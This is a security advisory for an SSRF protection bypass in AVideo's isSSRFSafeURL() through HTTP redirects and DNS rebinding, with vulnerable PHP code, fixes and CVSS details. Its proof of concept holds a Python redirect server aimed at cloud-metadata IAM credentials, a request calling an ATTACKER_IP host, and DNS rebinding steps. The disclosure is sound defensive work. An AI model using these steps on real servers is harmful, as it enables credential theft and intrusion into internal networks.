AVideo has SSRF Protection Bypass via HTTP Redirect and DNS Rebinding in isSSRFSafeURL()

Description

Summary

Two endpoints in AVideo call isSSRFSafeURL() to validate user-supplied URLs, then fetch them using bare file_get_contents() without disabling PHP's automatic redirect following. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., http://169.254.169.254/latest/meta-data/). Since isSSRFSafeURL() only validates the initial URL, the redirect target bypasses all SSRF protections.

A secondary finding is that 6+ callers of isSSRFSafeURL() discard the $resolvedIP out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks.

Severity: High — CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

Details

Finding 1: Redirect-Based SSRF Bypass

Vulnerable code — plugin/AI/receiveAsync.json.php (line ~162–165):

// SSRF Protection: Validate URL before fetching
if (!isSSRFSafeURL($imageUrl)) {
    // blocked
} else {
    $imageContent = file_get_contents($imageUrl);  // ← FOLLOWS REDIRECTS!
}

Vulnerable code — objects/EpgParser.php (line ~358–362):

if (!isSSRFSafeURL($this->url)) {
    throw new \RuntimeException('URL blocked by SSRF protection');
}
$this->content = @file_get_contents($this->url);  // ← FOLLOWS REDIRECTS!

Safe code for comparison — objects/functions.php, url_get_contents():

$opts = ['http' => ['follow_location' => 0]];  // Disable auto-redirect
$context = stream_context_create($opts);
for ($redirectCount = 0; $redirectCount <= 5; $redirectCount++) {
    $fetched = file_get_contents($currentUrl, false, $context);
    // ... parse Location header ...
    if ($redirectTarget) {
        if (!isSSRFSafeURL($redirectTarget)) {  // Re-validates EACH hop
            return false;
        }
        $currentUrl = $redirectTarget;
        continue;
    }
    $tmp = $fetched;
    break;
}

Root cause: The SSRF redirect protection (follow_location=0 + manual redirect loop with per-hop isSSRFSafeURL() re-validation) was correctly implemented in url_get_contents() but NOT propagated to these two endpoints that call file_get_contents() directly. PHP's default follow_location is 1 (follow redirects).

Finding 2: DNS Rebinding TOCTOU (Multiple Callers)

isSSRFSafeURL() provides a $resolvedIP out-parameter for DNS pinning via CURLOPT_RESOLVE. Only 1 of 9 callers (plugin/LiveLinks/proxy.php) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently — creating a TOCTOU race window exploitable via DNS rebinding (TTL=0).

Affected callers (no DNS pinning):
- objects/aVideoEncoderReceiveImage.json.php — 4 call sites
- objects/aVideoEncoder.json.php — 1 call site
- plugin/BulkEmbed/save.json.php — 1 call site
- plugin/AI/receiveAsync.json.php — 1 call site
- objects/EpgParser.php — 1 call site
- plugin/Scheduler/Scheduler.php — 1 call site

PoC

Redirect Bypass PoC

  1. Attacker runs an HTTP server that returns a 302 redirect:
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
        self.end_headers()

HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()
  1. Attacker triggers AI image generation and intercepts the callback:
POST /plugin/AI/receiveAsync.json.php
Content-Type: application/x-www-form-urlencoded

type=image&token=VALID_TOKEN&ai_responses_id=ID&response[data][0][url]=http://ATTACKER_IP:8888/redir
  1. isSSRFSafeURL("http://ATTACKER_IP:8888/redir") resolves attacker IP → public → passes
  2. file_get_contents("http://ATTACKER_IP:8888/redir") follows 302 to http://169.254.169.254/...no SSRF re-check occurs
  3. Cloud metadata (including IAM credentials) is saved as a video thumbnail, retrievable by the attacker

Control test: Replace the redirect target with a legitimate public URL — isSSRFSafeURL() passes and the content is fetched normally, confirming the function works for non-malicious URLs.

DNS Rebinding PoC

  1. Configure a domain with TTL=0 DNS that alternates:
    - First query: public IP (passes isSSRFSafeURL)
    - Second query: 127.0.0.1 (reaches internal services)
  2. Submit http://rebind.attacker.com/image.jpg to any affected endpoint
  3. isSSRFSafeURL() resolves → public IP → passes (discards $resolvedIP)
  4. url_get_contents() / file_get_contents() resolves again → 127.0.0.1 → SSRF achieved

Impact

An authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including:
- Cloud metadata endpoints (169.254.169.254) — exfiltrate IAM credentials, instance identity
- Internal services on localhost or private network (databases, admin panels, monitoring)
- Port scanning of the internal network using the server as a proxy

The exfiltrated data is stored as video thumbnails/images, making it retrievable through the application's public interface.

Suggested Fix

Fix 1 (Redirect bypass — immediate): Route both affected files through url_get_contents() which already handles redirects safely, or add explicit no-redirect context:

$ctx = stream_context_create(['http' => ['follow_location' => 0]]);
$imageContent = file_get_contents($imageUrl, false, $ctx);

Fix 2 (DNS rebinding — defense-in-depth): Update all callers to capture $resolvedIP and pass it to a DNS-pinning-aware fetch function using CURLOPT_RESOLVE.

Credit

Kai Aizen <[email protected]>

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-05-05 22:16:33 UTC
Updated
2026-05-13 14:21:01 UTC
GitHub reviewed
2026-05-05 22:16:33 UTC
NVD published
2026-05-11

EPSS Score

Score Percentile
0.03% 7.67%

CVSS Scores

Base score Version Severity Vector
7.7 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:L)
A normal user session is enough; they don’t have to be admin.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:C)
Breaking this can reach past the original component and bite other resources—bigger blast radius.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:N)
Data isn’t meaningfully altered or forged.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-918 Server-Side Request Forgery (SSRF)

Credits

  • SnailSploit (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
composer wwbn/avideo <= 29.0

References

cvelogic Threat Intelligence